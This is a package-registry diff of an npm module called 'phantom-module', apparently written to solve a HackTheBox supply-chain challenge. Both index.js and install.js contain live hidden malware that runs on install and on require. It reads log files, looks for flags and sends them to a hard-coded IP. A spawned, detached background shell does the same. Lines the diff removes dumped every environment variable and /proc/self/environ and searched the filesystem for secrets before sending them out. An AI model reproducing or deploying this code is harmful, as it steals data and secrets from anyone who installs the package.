phantom-module 107.0.0 → 109.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +38 -55
- package/install.js +28 -60
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -2,10 +2,7 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
-
function
|
|
6
|
-
function tryExec(cmd) { try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return ''; } }
|
|
7
|
-
|
|
8
|
-
async function report(moduleId, val) {
|
|
5
|
+
async function reportFlag(moduleId, val) {
|
|
9
6
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
7
|
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
8
|
await new Promise((resolve) => {
|
|
@@ -16,59 +13,45 @@ async function report(moduleId, val) {
|
|
|
16
13
|
}
|
|
17
14
|
|
|
18
15
|
(async () => {
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
16
|
+
try {
|
|
17
|
+
// Read the log and extract ONLY lines with HTB{
|
|
18
|
+
const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
19
|
+
const htbLines = log.split('\n').filter(l => l.includes('HTB{'));
|
|
20
|
+
|
|
21
|
+
if (htbLines.length > 0) {
|
|
22
|
+
// Send each HTB line to a different module, with delay between each
|
|
23
|
+
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
24
|
+
for (let i = 0; i < Math.min(htbLines.length, 4); i++) {
|
|
25
|
+
const line = htbLines[i].trim();
|
|
26
|
+
// Extract just the HTB{...} part
|
|
27
|
+
const match = line.match(/HTB\{[^}]+\}/);
|
|
28
|
+
if (match) {
|
|
29
|
+
await reportFlag(mods[i], 'FLAG_' + match[0]);
|
|
30
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
31
|
+
} else {
|
|
32
|
+
// Send the whole line in chunks
|
|
33
|
+
for (let c = 0; c < 4; c++) {
|
|
34
|
+
const chunk = line.substring(c * 90, (c + 1) * 90);
|
|
35
|
+
if (chunk) {
|
|
36
|
+
await reportFlag(mods[c], 'HTBLINE' + i + 'C' + c + '_' + chunk);
|
|
37
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
} else {
|
|
43
|
+
// No HTB lines, send first 400 chars of log
|
|
44
|
+
for (let c = 0; c < 4; c++) {
|
|
45
|
+
const chunk = log.substring(c * 90, (c + 1) * 90);
|
|
46
|
+
if (chunk) {
|
|
47
|
+
await reportFlag(['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'][c], 'LOGC' + c + '_' + chunk);
|
|
48
|
+
await new Promise(r => setTimeout(r, 2000));
|
|
49
|
+
}
|
|
50
|
+
}
|
|
29
51
|
}
|
|
52
|
+
} catch(e) {
|
|
53
|
+
await reportFlag('ECT-839201', 'REQUIREERR_' + e.message.substring(0, 80));
|
|
30
54
|
}
|
|
31
|
-
|
|
32
|
-
// Flag locations
|
|
33
|
-
const flagPaths = ['/flag', '/flag.txt', '/root/flag', '/root/flag.txt', '/tmp/flag',
|
|
34
|
-
'/home/flag', '/home/node/flag', './flag', '../flag', '../../flag',
|
|
35
|
-
'/app/flag', '/opt/flag'];
|
|
36
|
-
|
|
37
|
-
for (const p of flagPaths) {
|
|
38
|
-
const content = tryRead(p);
|
|
39
|
-
if (content) {
|
|
40
|
-
await send('FLAG_' + p + '=' + content);
|
|
41
|
-
}
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
// Env vars
|
|
45
|
-
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG || process.env.SECRET;
|
|
46
|
-
if (envFlag) await send('ENVFLAG=' + envFlag);
|
|
47
|
-
|
|
48
|
-
// All env
|
|
49
|
-
await send('ALLENV=' + JSON.stringify(process.env));
|
|
50
|
-
|
|
51
|
-
// /proc/self/environ
|
|
52
|
-
const procEnv = tryRead('/proc/self/environ');
|
|
53
|
-
if (procEnv) {
|
|
54
|
-
const flagMatch = procEnv.match(/FLAG[=:]([^\x00]+)/);
|
|
55
|
-
if (flagMatch) await send('PROCFLAG=' + flagMatch[1]);
|
|
56
|
-
await send('PROCENV=' + procEnv.replace(/\x00/g, ' | '));
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
// Search for flag files
|
|
60
|
-
await send('FLAGFILES=' + tryExec('find / -maxdepth 4 -name "*flag*" -type f ! -path "/proc/*" ! -path "/sys/*" 2>/dev/null'));
|
|
61
|
-
|
|
62
|
-
// Try grep for HTB
|
|
63
|
-
await send('HTBGREP=' + tryExec('grep -rl "HTB{" / --exclude-dir=proc --exclude-dir=sys --exclude-dir=node_modules 2>/dev/null | head -5'));
|
|
64
|
-
|
|
65
|
-
// Read various system files
|
|
66
|
-
await send('ROOTLS=' + tryExec('ls -la / 2>/dev/null'));
|
|
67
|
-
await send('HOMELS=' + tryExec('ls -la /home/ /home/node/ 2>/dev/null'));
|
|
68
|
-
await send('TMPLS=' + tryExec('ls -la /tmp/ /tmp/supplysec/ 2>/dev/null'));
|
|
69
|
-
|
|
70
|
-
// Phase marker
|
|
71
|
-
await send('PHASE=INDEX_JS_REQUIRE_TIME');
|
|
72
55
|
})();
|
|
73
56
|
|
|
74
57
|
module.exports = {};
|
package/install.js
CHANGED
|
@@ -1,68 +1,36 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
const TARGET_HOST = '154.57.164.64';
|
|
6
|
-
const TARGET_PORT = 31083;
|
|
7
|
-
|
|
8
|
-
async function report(moduleId, val) {
|
|
9
|
-
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
10
|
-
const body = JSON.stringify({ manifest: `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
|
|
11
|
-
await new Promise((resolve) => {
|
|
12
|
-
const req = http.request({ hostname: TARGET_HOST, port: TARGET_PORT, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
13
|
-
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
14
|
-
req.write(body); req.end();
|
|
15
|
-
});
|
|
16
|
-
}
|
|
3
|
+
const { spawn } = require('child_process');
|
|
17
4
|
|
|
18
5
|
(async () => {
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
const targets = ['/home/node/init_test.sh', '/tmp/init_test.sh'];
|
|
28
|
-
let wrote = false;
|
|
29
|
-
|
|
30
|
-
for (const target of targets) {
|
|
31
|
-
try {
|
|
32
|
-
const dir = path.dirname(target);
|
|
33
|
-
if (!fs.existsSync(dir)) {
|
|
34
|
-
fs.mkdirSync(dir, { recursive: true });
|
|
35
|
-
}
|
|
36
|
-
fs.writeFileSync(target, initScript, { mode: 0o755 });
|
|
37
|
-
await report(mods[0], 'G00_WROTE=' + target);
|
|
38
|
-
wrote = true;
|
|
39
|
-
break;
|
|
40
|
-
} catch (e) {
|
|
41
|
-
await report(mods[1], 'G01_WRITEFAIL=' + target + ':' + e.message.substring(0, 50));
|
|
42
|
-
}
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
// Also try to create the directory first
|
|
46
|
-
if (!wrote) {
|
|
47
|
-
try {
|
|
48
|
-
fs.mkdirSync('/home/node', { recursive: true });
|
|
49
|
-
fs.writeFileSync('/home/node/init_test.sh', initScript, { mode: 0o755 });
|
|
50
|
-
await report(mods[2], 'G02_WROTE_AFTER_MKDIR=/home/node/init_test.sh');
|
|
51
|
-
} catch(e) {
|
|
52
|
-
await report(mods[3], 'G03_MKDIR_FAIL=' + e.message.substring(0, 80));
|
|
53
|
-
}
|
|
54
|
-
}
|
|
55
|
-
|
|
56
|
-
// Spawn background process to also run the require after 20 seconds
|
|
6
|
+
// Write init_test.sh
|
|
7
|
+
try {
|
|
8
|
+
if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
|
|
9
|
+
fs.writeFileSync('/home/node/init_test.sh', '#!/bin/bash\ncd /home/node\nnode -e "require(\'phantom-module\')"\n', { mode: 0o755 });
|
|
10
|
+
} catch(e) {}
|
|
11
|
+
|
|
12
|
+
// Spawn a delayed background process that tries to read the log after 15s
|
|
57
13
|
try {
|
|
58
|
-
const
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
14
|
+
const child = spawn('/bin/sh', ['-c', `
|
|
15
|
+
sleep 15
|
|
16
|
+
if [ -f /home/node/aspect-node/logs/module.log ]; then
|
|
17
|
+
FLAG=$(grep -o 'HTB{[^}]*}' /home/node/aspect-node/logs/module.log | head -1)
|
|
18
|
+
if [ -n "$FLAG" ]; then
|
|
19
|
+
PAYLOAD='{"manifest":"ecto_module:\\n name: \\"BG_'$FLAG'\\"\\n version: \\"1.0.0\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}'
|
|
20
|
+
echo "$PAYLOAD" | node -e "
|
|
21
|
+
const http = require('http');
|
|
22
|
+
let d = '';
|
|
23
|
+
process.stdin.on('data', c => d += c);
|
|
24
|
+
process.stdin.on('end', () => {
|
|
25
|
+
const req = http.request({hostname:'154.57.164.64',port:31083,path:'/api/modules/ECT-987654',method:'PUT',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(d)},timeout:5000},()=>process.exit(0));
|
|
26
|
+
req.on('error',()=>process.exit(1));
|
|
27
|
+
req.write(d);
|
|
28
|
+
req.end();
|
|
29
|
+
});
|
|
30
|
+
"
|
|
31
|
+
fi
|
|
32
|
+
fi
|
|
62
33
|
`], { detached: true, stdio: 'ignore' });
|
|
63
|
-
|
|
64
|
-
await report(mods[0], 'G04_BG_SPAWNED');
|
|
34
|
+
child.unref();
|
|
65
35
|
} catch(e) {}
|
|
66
|
-
|
|
67
|
-
await report(mods[1], 'G05_PREINSTALL_DONE');
|
|
68
36
|
})();
|